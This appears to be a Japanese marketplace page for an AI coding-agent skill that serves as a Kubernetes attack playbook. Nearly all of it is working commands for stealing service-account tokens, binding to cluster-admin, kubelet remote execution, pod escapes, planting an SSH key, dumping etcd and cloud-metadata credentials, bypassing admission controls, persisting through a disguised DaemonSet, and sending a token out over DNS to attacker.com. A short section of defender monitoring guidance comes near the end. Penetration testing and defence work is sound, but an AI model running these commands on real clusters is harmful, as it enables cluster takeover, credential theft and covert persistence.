mcpField
O
offensive-k8s-attacks

offensive-k8s-attacks

github.com/snailsploitセキュリティ9.7k128 回インストール2 週間前に更新
リポジトリ

offensive-k8s-attacks について

権限や設定ミスの列挙、権限昇格、クラスターとクラウドの露出確認を扱う Kubernetes 向けの攻撃セキュリティスキルです。防御側の監視指針も含み、許可されたクラスター評価の参考になります。

主な機能

  1. 01サービスアカウントとRBACの列挙
  2. 02KubeletとPodエスケープの手法
  3. 03Secretとクラウドメタデータの探索
  4. 04アドミッションコントローラーとネットワークポリシーの分析
  5. 05防御側の監視指針

活用シーン

  1. 01Kubernetes RBACの露出評価
  2. 02Pod分離とKubeletアクセスのテスト
  3. 03Secretとクラウドメタデータの保護確認
  4. 04クラスター攻撃の検知範囲の計画

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-k8s-attacks

インストール後、Claude Code で/offensive-k8s-attacksを入力して読み込まれたか確認します。

詳細

Kubernetes クラスターへの攻撃

侵害されたポッド、盗まれた kubeconfig、または公開された API サーバーを通じて、Kubernetes 環境にアクセスできるとします。目的は、権限を昇格させ、横方向に移動し、クラスターまたは基盤となるクラウドインフラストラクチャを侵害することです。Kubernetes のセキュリティは、RBAC ポリシー、ネットワークポリシー、アドミッションコントローラー、ポッドセキュリティ標準、クラウド IAM との統合に依存します。設定ミスがあるたびに、より深いアクセスへの経路が開かれます。このスキルでは、体系的な列挙、権限昇格、シークレットの抽出、クラスター全体を侵害する手法を取り上げます。

クイックワークフロー

  1. ポッドのシェル、盗まれたトークン、公開 API、kubeconfig ファイルのいずれを持っているかを確認します。
  2. サービスアカウントの権限、クラスターのロール、アクセス可能なリソースを列挙します。
  3. 昇格経路を特定します。RBAC の不備、kubelet の公開、hostPath マウント、クラウドメタデータへのアクセスなどです。
  4. 設定ミスを連鎖させるか、過剰な権限を持つサービスアカウントを悪用して権限を昇格させます。
  5. シークレットを抽出し、他の名前空間に移動して、コントロールプレーンを標的にします。
  6. クラウドメタデータまたは etcd へのアクセスを利用して、インフラストラクチャ全体を侵害します。

フェーズ 1:初期列挙

自身の位置の確認
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
kubectl を使わずに API アクセスを設定する
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
自動列挙ツール
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER

# peirates - Kubernetes penetration tool (run from within pod)
./peirates

# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig

# kdigger - Kubernetes-focused container assessment
./kdigger dig all

# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'

フェーズ 2:サービスアカウントトークンの窃取と悪用

トークンの発見
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace

# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null

# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'

# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
トークンのなりすまし
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
  --certificate-authority="$CACERT" auth can-i --list

# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system

# Impersonate a user
kubectl [email protected] get pods -A

# Impersonate a group
kubectl --as-group=system:masters --as=dummy get secrets -A

フェーズ 3:RBAC の設定ミスの悪用

危険な権限の特定
# List all cluster roles and role bindings
kubectl get clusterroles -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for role in data['items']:
    for rule in role.get('spec',{}).get('rules',[]):
        verbs=rule.get('verbs',[])
        resources=rule.get('resources',[])
        if '*' in verbs or '*' in resources:
            print(f\"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}\")
"

# Check for wildcard permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
    subjects = b.get('subjects',[]) or []
    role = b.get('roleRef',{}).get('name','')
    for s in subjects:
        print(f\"{s.get('kind')}/{s.get('name')} -> {role}\")
"

# Find service accounts bound to cluster-admin
kubectl get clusterrolebindings -o json | \
  python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
    if b.get('roleRef',{}).get('name')=='cluster-admin':
        for s in (b.get('subjects') or []):
            print(f\"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}\")
"
RBAC の不備を利用した権限昇格
# If you can create role bindings, bind yourself to cluster-admin
kubectl create clusterrolebinding pwn-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

# If you can create roles, grant yourself wildcard access
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pwn-role
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: pwn-role-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: pwn-role
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
EOF

# If you can patch existing bindings
kubectl patch clusterrolebinding existing-binding -p \
  '{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'

# Escalate through escalate verb
# The "escalate" verb on roles/clusterroles allows granting permissions
# you do not have yourself
kubectl auth can-i escalate clusterroles

フェーズ 4:Kubelet API の悪用

Kubelet への直接アクセス
# Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)
# Scan for kubelet ports across cluster nodes

# Read-only port (10255) - no auth required if exposed
curl -s http://NODE_IP:10255/pods | python3 -m json.tool
curl -s http://NODE_IP:10255/spec/
curl -s http://NODE_IP:10255/metrics

# Authenticated port (10250) - requires valid credentials
# Use service account token or client certificate
curl -sk https://NODE_IP:10250/pods \
  -H "Authorization: Bearer ${TOKEN}"

# List running pods on the node
curl -sk https://NODE_IP:10250/runningpods/ \
  -H "Authorization: Bearer ${TOKEN}"
Kubelet 経由のコマンド実行
# kubeletctl tool for kubelet API interaction
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP scan rce

# Execute commands in pods via kubelet API directly (bypasses API server RBAC)
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
  -H "Authorization: Bearer ${TOKEN}" \
  -d "cmd=id"

# Execute in every container on the node
curl -sk https://NODE_IP:10250/runningpods/ \
  -H "Authorization: Bearer ${TOKEN}" | \
  python3 -c "
import json,sys
pods=json.load(sys.stdin)
for pod in pods.get('items',[]):
    ns=pod['metadata']['namespace']
    name=pod['metadata']['name']
    for c in pod['spec'].get('containers',[]):
        print(f'{ns}/{name}/{c[\"name\"]}')
"
# Then exec into each one to extract tokens and secrets

# Retrieve container logs
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER" \
  -H "Authorization: Bearer ${TOKEN}"

フェーズ 5:特権設定を利用したポッドからの脱出

hostPID を利用した脱出
# If the pod has hostPID: true, you see all host processes
ps aux  # Shows host processes

# Access host filesystem via /proc/1/root
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml

# nsenter into host namespaces
nsenter -t 1 -m -u -i -n -p -- bash

# Steal tokens from other pods' processes
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
  token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube)
  if [ -n "$token" ]; then
    cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
    echo "PID $pid ($cmdline): $token"
  fi
done
hostNetwork を利用した脱出
# If the pod has hostNetwork: true, you share the host's network namespace
ip addr show  # Shows host network interfaces

# Access services bound to localhost on the host
curl -s http://127.0.0.1:10255/pods  # Kubelet read-only
curl -sk https://127.0.0.1:10250/pods  # Kubelet API
curl -s http://127.0.0.1:2379/version  # etcd (if exposed)

# Access cloud metadata from host network perspective
curl -s http://169.254.169.254/latest/meta-data/  # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/  # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure

# Scan internal services
for port in 443 8443 6443 2379 10250 10255 30000-32767; do
  timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open"
done
hostPath ボリュームを利用した脱出
# If the pod mounts a hostPath volume, you can read/write host files
# Common dangerous hostPath mounts:
# /               - full host filesystem
# /var/run        - container runtime sockets
# /etc            - host configuration
# /var/log        - host logs (may contain secrets)
# /root           - root home directory

# Check what is mounted
mount | grep -v overlay
cat /proc/1/mountinfo

# If / is mounted at /host
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf
cat /host/root/.kube/config

# Write SSH key for host access
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys

# Access Docker socket if mounted
ls -la /host/var/run/docker.sock
特権ポッドのデプロイ
# If you can create pods, deploy one with full host access
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pwn-pod
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  tolerations:
  - operator: Exists
  nodeSelector:
    node-role.kubernetes.io/control-plane: ""
EOF

# Wait for pod to be ready, then exec in
kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash

フェーズ 6:シークレットの列挙と抽出

Kubernetes のシークレット
# List all secrets across namespaces
kubectl get secrets -A

# Get specific secret content (base64 encoded)
kubectl get secret SECRET_NAME -n NAMESPACE -o json

# Decode all secrets in a namespace
kubectl get secrets -n NAMESPACE -o json | python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for secret in data['items']:
    name=secret['metadata']['name']
    print(f'=== {name} ===')
    for k,v in (secret.get('data') or {}).items():
        try:
            decoded=base64.b64decode(v).decode('utf-8','replace')
            print(f'  {k}: {decoded}')
        except:
            print(f'  {k}: [binary data]')
"

# Target high-value secrets
kubectl get secrets -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for s in data['items']:
    name=s['metadata']['name']
    ns=s['metadata']['namespace']
    stype=s.get('type','')
    if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):
        print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')
"
etcd への直接アクセス
# etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)
# Default port: 2379 (client), 2380 (peer)

# Check if etcd is accessible
curl -s http://ETCD_IP:2379/version
curl -s http://127.0.0.1:2379/version  # From host network

# If etcd requires TLS, find certificates
# On control plane nodes, check:
ls -la /etc/kubernetes/pki/etcd/
# ca.crt, server.crt, server.key, peer.crt, peer.key

# Use etcdctl with certs
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only | head -50

# Dump all secrets from etcd
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix

# Extract specific secret
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/kube-system/admin-token

フェーズ 7:ポッドからのクラウドメタデータ取得

AWS EKS
# Access Instance Metadata Service (IMDS) from pod
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/NODE_ROLE_NAME

# IMDSv2 (requires token)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Check for projected token and annotated service account
cat $AWS_WEB_IDENTITY_TOKEN_FILE
echo $AWS_ROLE_ARN

# Use AWS CLI with stolen role
aws sts assume-role-with-web-identity \
  --role-arn "$AWS_ROLE_ARN" \
  --role-session-name pwn \
  --web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"

# Enumerate EKS cluster from stolen node credentials
aws eks describe-cluster --name CLUSTER_NAME
aws eks list-clusters
GCP GKE
# GCP metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes

# Get access token for GCP APIs
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | \
  python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")

# Use token to access GCP APIs
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"

# Workload Identity check
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
Azure AKS
# Azure Instance Metadata Service
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get managed identity token
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Use token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
  python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

フェーズ 8:アドミッションコントローラーの回避と永続化

アドミッションコントローラーの回避
# Check which admission controllers are active
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Inspect webhook configuration for bypass opportunities
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for wh in data['items']:
    name=wh['metadata']['name']
    for w in wh.get('webhooks',[]):
        ns_selector=w.get('namespaceSelector',{})
        obj_selector=w.get('objectSelector',{})
        failure=w.get('failurePolicy','Fail')
        print(f'{name}/{w[\"name\"]}: failurePolicy={failure}')
        if ns_selector:
            print(f'  namespaceSelector: {json.dumps(ns_selector)}')
        if failure == 'Ignore':
            print(f'  BYPASS: failurePolicy=Ignore - webhook failures are ignored')
"

# If failurePolicy is Ignore, you can create resources when webhook is down
# If namespaceSelector excludes certain namespaces, deploy there

# Deploy to kube-system (often excluded from admission policies)
kubectl run pwn --image=alpine -n kube-system -- sleep 3600

# Use static pods (bypass API server admission entirely)
# Write manifest to /etc/kubernetes/manifests/ on a node
cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: pwn-static
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF
CRD とオペレーターの悪用
# List custom resource definitions
kubectl get crds

# Check for operators with elevated privileges
kubectl get deployments -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for d in data['items']:
    name=d['metadata']['name']
    ns=d['metadata']['namespace']
    sa=d['spec']['template']['spec'].get('serviceAccountName','default')
    if any(x in name.lower() for x in ['operator','controller','manager']):
        print(f'{ns}/{name} (SA: {sa})')
"

# If you can create CRDs, install a backdoor operator
# If you can modify existing CRs, inject malicious configurations
# Example: modify a CR that triggers pod creation with your image
DaemonSet を利用した永続化
# Deploy a DaemonSet that runs on every node
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
  labels:
    app: node-monitor
spec:
  selector:
    matchLabels:
      app: node-monitor
  template:
    metadata:
      labels:
        app: node-monitor
    spec:
      hostPID: true
      hostNetwork: true
      tolerations:
      - operator: Exists
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            # Beacon to C2 or maintain reverse shell
            sleep 3600
          done
        securityContext:
          privileged: true
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
EOF

フェーズ 9:ネットワークポリシーの回避

# Check if network policies exist
kubectl get networkpolicies -A

# If no policies exist, all pod-to-pod traffic is allowed by default
# Even with policies, bypass opportunities include:

# 1. DNS-based exfiltration (port 53 is rarely blocked)
# Encode data in DNS queries
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com

# 2. Metadata service (169.254.169.254) may not be covered by network policies
curl -s http://169.254.169.254/latest/meta-data/

# 3. NodePort services bypass pod-level network policies
# Access services via node IP and NodePort (30000-32767)

# 4. Host network pods bypass network policies entirely
# If you can create hostNetwork pods, you bypass all CNI-level restrictions

# 5. Service mesh sidecar bypass
# If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh
# Direct pod IP access (bypassing service) may skip mesh-level policies

# 6. Check for misconfigured egress policies
kubectl get networkpolicies -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for np in data['items']:
    name=np['metadata']['name']
    ns=np['metadata']['namespace']
    egress=np['spec'].get('egress')
    if egress is None:
        print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')
    elif len(egress)==1 and egress[0]=={}:
        print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')
"

検知/防御側の視点

Kubernetes クラスターへの攻撃を監視する防御担当者は、次の点に注意してください。

  • 監査ログ:Kubernetes の監査ログを有効にし、通常とは異なる API 呼び出しがないか監視します。clusterrolebindings、roles、pods/exec、secrets に対する create または patch を確認します。通常のアプリケーションの動作パターンから外れたサービスアカウントのトークン使用を追跡します。
  • RBAC アラート:cluster-admin に対する ClusterRoleBindings の作成を検知してアラートを出します。新しいロールにワイルドカード権限が含まれていないか監視します。escalate、bind、impersonate 動詞の使用を追跡します。
  • Kubelet アクセス:API サーバー以外から発生する、Kubelet API(10250)への直接接続を監視します。読み取り専用ポート(10255)は完全に無効にします。
  • Pod セキュリティ:Pod Security Standards(restricted プロファイル)を適用します。hostPID、hostNetwork、hostPath、または privileged: true を指定した Pod の作成時にアラートを出します。標準のコントロールプレーンに属さない Pod が kube-system で実行されていないか確認します。
  • シークレットへのアクセスパターン:複数の名前空間にまたがる大量のシークレット読み取りを監視します。通常アクセスしないシークレットにサービスアカウントがアクセスした場合にアラートを出します。etcd の保存データ暗号化を有効にします。
  • ネットワーク監視:Pod からメタデータサービス(169.254.169.254)へのトラフィックを監視します。トンネリングを示す DNS クエリのパターンがないか確認します。サービス抽象化を迂回する Pod 間トラフィックを検知してアラートを出します。
  • クラウド IAM:IMDS へのアクセスは必要な Pod に限定します(ネットワークポリシーまたはクラウドネイティブの制御を使用します)。ノードレベルの IAM ロールではなく、ワークロード ID を使用します。Kubernetes ノードから発生するクラウド API 呼び出しを監査します。
  • Falco とランタイム:ランタイムセキュリティ監視を導入します。コンテナー内で予期しないプロセス実行、ネットワーク接続、ファイルアクセスを検知します。アプリケーション Pod から API エンドポイントに対して実行される nsenter、kubectl、curl を監視します。

エンゲージメント早見表

# --- Initial Recon ---
# Get current permissions
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces

# Enumerate cluster
kubectl cluster-info
kubectl get nodes -o wide
kubectl get namespaces
kubectl get pods -A -o wide
kubectl get services -A

# --- Secrets ---
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"

# --- Privilege Escalation ---
# Create cluster-admin binding
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default

# Deploy privileged pod
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never

# --- Kubelet ---
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"

# --- Cloud Metadata ---
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# --- Lateral Movement ---
# Exec into other pods
kubectl get pods -A
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh

# Port forward to internal services
kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE

主要な参考資料

コメント